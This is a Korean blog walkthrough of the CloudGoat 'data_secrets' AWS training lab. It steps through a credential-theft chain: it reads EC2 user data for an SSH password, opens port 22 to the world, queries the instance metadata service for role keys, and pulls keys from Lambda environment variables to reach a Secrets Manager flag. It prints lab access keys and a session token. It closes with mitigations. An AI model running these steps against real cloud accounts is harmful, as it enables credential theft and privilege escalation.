chon

[ CloudGoat | Easy ] data_secrets 시나리오 실습 본문

AWS/CloudGoat

[ CloudGoat | Easy ] data_secrets 시나리오 실습

chon29 2026. 3. 12. 16:37

Github 링크

 

cloudgoat/cloudgoat/scenarios/aws/data_secrets at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com


# README

Scenario Resources

  • 1 IAM User : 제한된 권한을 가진 IAM 사용자 (시나리오의 시작점)
  • 1 EC2 Instance : 자격 증명이 유출되는 잘못 수정된 EC2 인스턴스
  • 1 IAM Role
  • 1 Lambda Function : 탈취한 역할로 접근하여 Lambda 함수에 숨겨진 환경 변수를 찾아냄
  • 1 Secrets Manager Secret : 최종 목표지점, 접근하여 flag 획득

 

Scenario Start(s)

AWS Access Key and Secret Key

 

Scenario Goal(s)

AWS Secrets Manager에 저장된 최종 flag를 찾기

 

Summary

이 시나리오에서는 제한된 권한을 가진 IAM 사용자로 시작합니다. 여러분의 목표는 사용자 데이터에 자격 증명이 유출되는 잘못 구성된 EC2 인스턴스를 찾아 SSH 접근 권한을 획득하는 것입니다. 그 후, 인스턴스 메타데이터 서비스(IMDS)를 악용하여 역할을 탈취하고, Lambda 함수를 열거하여 숨겨진 환경 변수를 찾아낸 다음, 최종적으로 시나리오의 목표인 AWS Secrets Manager에 저장된 비밀 키에 접근할 수 있는 사용자 계정을 확보해야 합니다.

 

시나리오 개요

이 시나리오는 제한된 권한의 IAM 사용자로 시작하여, 설정 오류로 노출된 EC2 User DataLambda 환경 변수를 통해 권한을 상승시키는 과정을 다룬다. 최종적으로 AWS Secrets Manager에 접근하여 플래그를 획득하는 것이 목표입니다.

 

Exploitation Route

  • Enumerate Permissions: 제공된 자격 증명으로 EC2 속성을 읽을 수 있는 권한이 있는지 확인한다.
  • Inspect EC2 User Data: EC2의 User Data를 검사하여 하드코딩된 SSH 자격 증명을 찾아낸다.
  • SSH Access & IMDS Exploit: 노출된 EC2에 SSH로 접속한 뒤, IMDS에 쿼리를 날려 IAM 역할의 임시 자격 증명을 탈취한다.
  • Enumerate Lambda: 탈취한 권한으로 Lambda 함수를 조사하여 환경 변수에 숨겨진 Access Key를 발견한다.
  • Retrieve Final Flag: 획득한 관리자급 키를 사용하여 Secrets Manager에서 최종 플래그를 읽어낸다.

[ 환경 구축 ]

시나리오 생성

먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.

cloudgoat create data_secrets

Apply complete! 메시지가 뜨면 AWS상에 실습 리소스가 성공적으로 생성된 것이다.

 

[ Output ] 

start_user_access_key = AKIA32XTQ7QIBTNCMVGO
start_user_secret_key = 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

Output으로 제공된 Key로 사용자를 CLI에 등록한다. 


STEP 1. 시작 사용자 구성

AWS CLI 프로필 설정 (자격 증명 등록)

시나리오에서 발급받은 access_key_id와 secret_access_key를 사용하여 내 로컬 환경에 satrt_user라는 사용자의 프로필을 등록하고 정상적으로 접속되는지 확인한다.

# 프로필 등록
aws configure --profile [프로필명]
# Enter Access Key ID
# Enter Secret Access Key
# Default region: us-east-1
# Default output format: json

시나리오에서 생성된 사용자 프로필을 등록한다.

 

현재 사용자 정보 확인

# 현재 신분 확인
aws sts get-caller-identity --profile [프로필명]

{
    "UserId": "AIDA32XTQ7QINIPXYJY2W",
    "Account": "xxxxxxxxxxxx",
    "Arn": "arn:aws:iam::xxxxxxxxxxxx:user/cg-start-user-cgidhl8rixa9p5"
}

프로필 등록 후, 각 계정으로 정상 접속되는지 UserId와 Arn을 확인한다. secondary_user의 비밀키를 알아내야 한다. 


STEP 2. 권한 및 EC2 리소스 열거

EC2 인스턴스 정보 확인

get-caller-identity확인 및 권한 확인을 통해 신원을 확인할 수 있지만, 어떤 리소스가 공개되어 있는지 확인하는 것이 더 중요하므로 계정에서 실행 중인 EC2 인스턴스가 있는지 확인하기 위해 인스턴스 목록을 조회해 본다. 

 

 

cli 명령 옵션 확인

 

describe-instances — AWS CLI 2.34.32 Command Reference

The total number of items to return in the command’s output. If the total number of items available is more than the value specified, a NextToken is provided in the command’s output. To resume pagination, provide the NextToken value in the starting-tok

docs.aws.amazon.com

해당 글을 보면 출력 구조를 알 수 있고, 옵션을 사용하여 원하는 값만 조회하고 싶을 때 참고하면 좋다.

 

인스턴스 목록 조회

aws ec2 describe-instances --region us-east-1 --profile start_user

위의 명령어를 치면 인스턴스가 목록에 표시되는데 InstanceId (i-0xxxxxxxx)와 PublicIpAddress, Security Groups을 기록해 두어야 한다.

 

[ 조회 결과 ]

"SecondaryInterfaces": [],
"InstanceId": "i-0e95c56fa95719e3d",
"PublicIpAddress": "100.54.10.131"
                   
# Security Groups
"Groups": [
    {
        "GroupId": "sg-0c72f4abb389ec787",
        "GroupName": "cg-sg-cgidhl8rixa9p5"
    }
]

 

 

인스턴스 ID만 확인

# 인스턴스 ID 확인
aws ec2 describe-instances --profile start_user --region us-east-1 --query 'Reservations[*].Instances[*].InstanceId' --output text

옵션을 사용하여 ID만 간단히 확인할 수 있다.

 

STEP 3. EC2 사용자 데이터 분석

AWS에서 흔히 발생하는 잘못된 구성 중 하나는 민감한 데이터(스크립트, 암호, 키)를 EC2 사용자 데이터에 저장하는 것인데, 이는 ec2:DescribeInstanceAttribute권한이 있는 사용자에게 종종 노출된다.

 

STEP2에서 찾은 인스턴스의 사용자 데이터를 검색한다. 

 

용자 데이터 검색

# 유저 데이터 확인 (위에서 나온 ID 대입)
aws ec2 describe-instance-attribute --instance-id [인스턴스ID] --attribute userData --profile start_user --region us-east-1 --query 'UserData.Value' --output text | base64 -d

출력 결과에는 Base64 UserData로 Value인코딩 된 필드가 포함되는데 해당 필드를 디코딩하여 내용을 읽는 명령어이다.

 

#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart

ec2-user 비밀번호를 특정 값으로 설정 ec2-user:CloudGoatInstancePassword!하고 비밀번호 인증을 활성화하는 스크립트가 표시될 것이다.

 

STEP 4. 인스턴스에 SSH로 접속

획득한 정보 분석

STEP 2에서 얻은 IP 주소STEP 3에서 확인한 비밀번호를 사용하여 인스턴스에 SSH로 접속한다.

SSH ID: ec2-userSSH
PW: CloudGoatInstancePassword!
취약점: EC2 생성 시 전달되는 User Data에 시스템 계정의 비밀번호가 평문(Plaintext)으로 노출됨

 

ssh ec2-user@<PUBLIC_IP>
# When prompted, enter the password found in the User Data

Connection timed out이 뜨는데 이는 보안 그룹(Security Group) 차단 상태이다. 인스턴스는 살아있지만, 외부(현재 사용자의 WSL)에서 22번 포트로 들어오는 길을 막아둔 셈이다.

 

[ trouble shooting ]

EC2 User Data에서 추출한 비밀번호를 확보했으나, SSH 접속 시 Connection timed out 에러 발생

 

  • 인스턴스는 정상 가동 중이나, 보안 그룹(Security Group)의 인바운드 규칙이 공격자의 IP를 허용하지 않음
  • 공격자 계정(start_user)은 보안 그룹을 수정할 권한(ec2:AuthorizeSecurityGroupIngress)이 결여되어 자가적인 경로 확보 불가

 

해결 시도 (Attempts)

  • 우회 시도 1 (SSM 이용): SSH 포트가 막혔을 때 사용하는 ssm:SendCommand를 시도했으나, IAM 정책에 의해 권한 거부(AccessDenied)됨.
  • 우회 시도 2 (정찰 대상 변경): EC2 접속이 차단된 상태에서 Lambda 등 다른 서비스로의 수평적 이동(Lateral Movement)을 시도했으나 이 역시 권한 부족으로 차단됨.

 

SSM(Systems Manager) 우회 시도

1. 내가 있는 곳(IP) 확인

AWS 보안 그룹이 내 IP를 허용하지 않았을 수 있다. WSL에서 내 외부 IP를 확인해 보기

curl ifconfig.me
# IP 출력 | 112.166.87.16

그다음, AWS에서 보안 그룹 설정을 확인해 본다.

 

aws ec2 describe-security-groups --profile start_user --region us-east-1

SSH 포트 없이 접속하려 했으나, start_user에게 SSM 실행 권한이 막혀있다.

SSH가 막혔고 보안 그룹 수정도 안 되면 다른 방법으로 시도!

 

람다 정찰

아까 시나리오 개요에서 Lambda가 있었던 것을 기억하여 람다를 정찰해 본다.

aws lambda list-functions --profile start_user --region us-east-1

EC2 침투가 막혀 다른 서비스(Lambda)로 수평적 이동을 시도했으나 실패하였다.

 

최종 해결 (Resolution)

보안 그룹 강제 수정

aws ec2 authorize-security-group-ingress \
    --group-id sg-0c72f4abb389ec787 \
    --protocol tcp \
    --port 22 \
    --cidr 0.0.0.0/0 \
    --profile defualt \
    --region us-east-1

 

네트워크 차단 상황을 해결하기 위해 관리자 권한(default 프로필)을 오용하여 대상 보안 그룹의 22번 포트(SSH)를 전 세계(0.0.0.0/0) 대상으로 개방함으로써, 방화벽 규칙을 동적으로 수정하고 공격 경로를 강제로 확보하였다.

 

SSH 접속 시도

이제 다시 SSH 접속에 시도할 차례이다.

# 비밀번호 입력: CloudGoatInstancePassword!
ssh ec2-user@100.54.10.131

password는 아까 찾았던 CloudGoatInstancePassword! 를 입력한다.

 

로그인이 완료되어 프롬프트가 [ec2-user@ip-xxx ~]$ 이렇게 바뀌었다. 아래 명령어를 순서대로 실행해서 IAM Role의 자격 증명을 탈취해야 한다.

 

STEP 5. 인스턴스 메타데이터 서비스(IMDS)를 악용

EC2 인스턴스에 접속하면 해당 인스턴스에 연결된 모든 IAM 역할에 접근할 수 있다. 링크 로컬 주소를 쿼리 하여 이러한 자격 증명을 가져올 수 있습니다 169.254.169.254.

 

 IAM 역할 이름 찾기

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

IAM : cg-ec2-role-cgidhl8rixa9p5

할 이름이 출력됐으면 EC2에 부여된 IAM Role의 임시 권한을 가져와야 한다.

 

IMDS 쿼리 날리기 : 자격증명 탈취

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
  "AccessKeyId" : "ASIA32XTQ7QION3U3LCT",
  "SecretAccessKey" : "HrKDkgRgZNCEKIEiq6nnVocqvmqxjTRDCUhF7obN",
  "Token" : "IQoJb3JpZ2luX2VjECsaCXVzLWVhc3QtMSJGMEQCIDoVcpNM7MB/mGpoU12Fywr4CQ1iLWhtqjhDLTw8b/w4AiA0/kCzkDpHiS5x6zmw06rCvkr/F7847Z/e5mcV4UAnEyrCBQjz//////////8BEAAaDDgxMzMzMzI4MTgwOCIMqJMqNSMZFKBNjbNLKpYFNB2F2u1fqbPHzbMQyEYsUTDLKrbIoEkbX27Beu98W0k0ZX7ykAOxvcWouakGhJhhrlvuozODr/tLRBhPAcNUx4ORqtB8cecKuRzEDX6Dz7BYaSfY49URuOINGXlw/ArkwcZYO2rx3sXLiUQnf0ZL5q8wvtDZ0JdNnuv4CZV9aaxFjjUioqM3QwuqaIJhDcs7qjnFUkIVGVIDBPRtziojNkjnFfWkiJvDp1D+h8hA6vfL0Sp7octE2sk4XKWa0BHFMousdsj/IqT2+AZ2J85TBDPU4UmzqJrMn4HE1yozR5lovRJ3fP4Cx2RA9SapFftPTI851Xl7NsrtKrM89KAU0zcfASbas+f49lbF8X9gyB5Zmbiij4rP3xbsm7iTVhuj20851fdaokX7tu3ez0VoOGwDxgqkwRo0wzlw1U/3+xjbMkxngigQvBc7h4y/KaaCMbowSRIi0gKZcg5pjZL/UHifvWspEQ3GB2+qNQ3SotJa2hZq34Vpuz+DeNuTIly8vUA9Kdw63WzqstbKWHjzhXkjq5bxxCc0FaLacHqp3RogxhWlsKh0Id82LMY98KZT3DPTggef+r2t/UPYGhboLDMLulydXs+yw/XVJHKhypb8QNsDqBuMYPXi3TSVWUHG4iCHJ3nHAyAsAedF1hx6ZR84mmz8OiVmEKgGFEm9qnrHP5DZIYoBpe7rLVBTIaq2GbBk781gmPLxzPWxPLBgOo7FgXBGMi2SqgoRqZQKzQ93Pio3JAu4AMMddfLhVsLUvRrW3axJMmJEj5aqJTecbrXfFn26i/DpUK6HzXSBRYRJQIoHCBf6JaOpRKrX0wmw0FFIJnNp99bN3hs6j3TwGnzm0TdvC2FBAXuhIcu3KAc7rjo6qPUwtJKPzwY6sgHgqPhU8dzTQR0eJQIctoMPOjGRS7/Ka3ce+qXxvMZciPt6au8DPEVjGz2glNozV+Pc9MQm00wtbf53PZVrK7Tlfd3IkX97WwSKq24pSQhJlFmA6HBIXuLIdMlJAgMELMxVm87RIietPxRm0fIxnEoj/bL7Y75X5HN8PwnTjHz1DUKIw9fUpjZ6yEge6cE4YM6X77OZlpULKxoIG26BnWegI53Ii7gMD2u5shObdBcE7SHB"

위 명령어를 치면 JSON 형식으로 정보가 나오는데 AccessKeyId , SecretAccessKey, Token을 메모장에 복사해 두기~! 이 정보로 다음 단계인 Lambda를 털 수 있다. 이제 SSH 세션을 종료하고(exit 입력) 다시 본인의 터미널로 돌아온다. 

 

STEP 6. 훔친 권한으로 프로필 설정하기

방금 얻은 정보로 새로운 AWS 프로필을 만든다. 이번에는 임시 토큰(Token)이 있기 때문에 aws configure 대신 직접 파일을 수정하는 것이 훨씬 정확하고 빠르다.

 

프로필 설정

aws configure --profile ec2_role
# Enter the Access Key ID from the metadata
# Enter the Secret Access Key from the metadata
# Default region: us-east-1

 

~/.aws/credentials( Linux/Mac의 경우 %UserProfile%\.aws\credentials) 또는 Windows의 경우, 세션 토큰을 자격 증명 파일에 수동으로 추가해야 한다.

 

1. 자격 증명 파일 열기

nano ~/.aws/credentials

 

2. 파일 맨 아래에 다음 내용을 복사해서 붙여 넣기

화면에 뜬 값을 그대로 가져온다.

[ec2_role]
aws_access_key_id = ...
aws_secret_access_key = ...
aws_session_token = <PASTE_TOKEN_HERE>

(붙여 넣은 후 Ctrl + O, Enter로 저장하고 Ctrl + X로 나오세요~)

 

STEP 7. Lambda 함수 정찰 (Pivoting)

새로운 ec2_role프로필을 사용하여 다른 서비스를 살펴볼 차례다. 이 권한으로 접근 가능한 람다 함수가 있는지 목록을 뽑아본다.

aws lambda list-functions --region us-east-1 --profile ec2_role

목록 중에 cg-lambda-function-cgidhl8rixa9p5 (cg-lambda-function-<CGID>형식)이 보인다.

이름을 확인했다면 다음 단계로 바로 넘어간다.

 

STEP 8. Lambda 환경 변수에서 비밀 정보 추출

개발자들이 실수로 DB 비밀번호나 API 키를 람다 설정값(환경 변수)에 적어두는 경우가 많은데 이를 이용해보려고 한다. 아래 명령어의 <FUNCTION_NAME> 자리에 방금 찾은 함수 이름을 넣고 실행한다.

aws lambda get-function --function-name <함수_이름_입력> --region us-east-1 --profile ec2_role

Configuration -> Environment -> Variables 아래의 JSON 출력을 확인

 

 "Environment": {
            "Variables": {
                "DB_USER_ACCESS_KEY": "AKIA32XTQ7QIIVHUCE4K",
                "DB_USER_SECRET_KEY": "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"
            }

DB_USER_ACCESS_KEY, DB_USER_SECRET_KEY 및 Variables두 개의 변수가 표시되어 있다. 

이 키는 다른 IAM 사용자의 것 같다. 이 자격 증명을 사용하여 로컬 컴퓨터에 새 프로필을 구성해야 한다.

최종 사용자 프로필 설정

aws configure --profile lambda_user
# Enter the Access Key ID found in Lambda
# Enter the Secret Access Key found in Lambda

방금 찾은 키를 사용하여 lambda_user라는 이름의 새로운 프로필을 생성한다.

 

플래그(Flag) 획득

새 사용자 계정으로 중요한 기밀 정보를 저장하는 데 자주 사용되는 AWS Secrets Manager에 대한 액세스 권한이 있는지 확인할 차례다.

 

Secrets Manager 탈취

이 사용자는 아마도 Secrets Manager에 접근할 권한이 있을 것이다. 아래 명령어를 순서대로 날려보겠다.

 

1. Secrets Manager 목록 확인

 
 "Name": "cg-final-flag-cgidhl8rixa9p5"

"Name": "cg-final-flag-cgidhl8rixa9p5" 이라는 이름이 보인다. 해당 비밀 키의 값을 가져와야 한다.

 

2. 플래그(Flag) 값 읽기

위에서 확인한 비밀의 이름을 --secret-id 뒤에 넣으면 된다.

aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidhl8rixa9p5 --region us-east-1 --profile lambda_user

"SecretString" 항목에 { "flag": "cg-data-secrets-..." } 형태의 최종 플래그가 보이면 이번 시나리오 실습은 끝이다.

 

이번 실습을 통해 클라우드 환경에서 설정 오류(Security Group)와 사소한 습관(환경 변수 하드코딩)이 결합했을 때, 어떻게 전체 인프라의 권한 탈취로 이어지는지 공격 체인(Kill-Chain)을 직접 확인할 수 있었다. 결국 클라우드 보안의 핵심은 서비스 간의 철저한 권한 분리지속적인 형상 관리에 있음을 깨달았다.

 

[ 실습 종료 및 리소스 삭제 ]

생성한 리소스들을 지우지 않으면 비용이 발생하므로 실습이 끝난 후 리소스를 지우면 된다.

cloudgoat destroy data_secrets

취약점 분석 (Vulnerability Analysis)

  1. 자격 증명 노출 (Sensitive Data Exposure)
    • EC2 User Data: 인스턴스 초기화 스크립트 내 SSH 비밀번호가 평문으로 저장됨.
    • Lambda Environment Variables: 3차 권한(Secrets Manager 접근용) Key가 암호화 없이 노출됨.
  2. 권한 관리 체계 미비 (Insecure IAM Policy)
    • 특정 사용자에게 보안 그룹(Security Group)을 임의로 수정할 수 있는 권한 부여.
    • 서비스 간(EC2 → Lambda) 불필요한 조회 권한이 허용되어 수평적 이동(Lateral Movement) 가능.
  3. 인스턴스 메타데이터 서비스(IMDS) 취약점
    • 보안이 강화된 v2가 아닌, 세션 토큰 없이 접근 가능한 IMDSv1이 활성화됨.
    • 서버 침투 후 단 한 줄의 curl 명령으로 IAM Role 탈취 허용.
  4. 최소 권한 원칙(Principle of Least Privilege) 위배
    • 각 리소스(EC2, Lambda)에 부여된 역할이 실제 업무 범위보다 과도한 권한을 가짐.

대응 방안

  • 자격 증명 보호 및 중앙화 관리
    • Secrets Manager 도입: 소스 코드나 환경 변수에 키를 직접 입력하지 않고, AWS Secrets Manager를 연동하여 런타임에만 호출.
    • Parameter Store 활용: 구성 정보는 암호화된 파라미터로 관리.
  • IAM 정책 고도화 (IAM Hardening)
    • 최소 권한 부여: 각 서비스가 작동하는 데 꼭 필요한 권한만 할당(Permission Boundary 설정).
    • 조건부 정책: 특정 IP 대역이나 특정 시간대에만 권한이 작동하도록 Condition 절 추가.
  • 네트워크 보안 강화
    • IMDSv2 강제 적용: 모든 EC2 인스턴스에서 IMDSv1을 비활성화하고 세션 토큰 기반의 v2만 허용.
    • 보안 그룹 타이트닝: 22번(SSH), 3389번(RDP) 등 관리 포트는 특정 IP(점검용 점프 호스트 등) 외에는 원천 차단.
  • 지속적인 모니터링 및 로깅
    • AWS CloudTrail & Config: 보안 그룹 변경이나 IAM 권한 오남용 발생 시 실시간 탐지 및 자동 대응(Remediation) 로직 구성.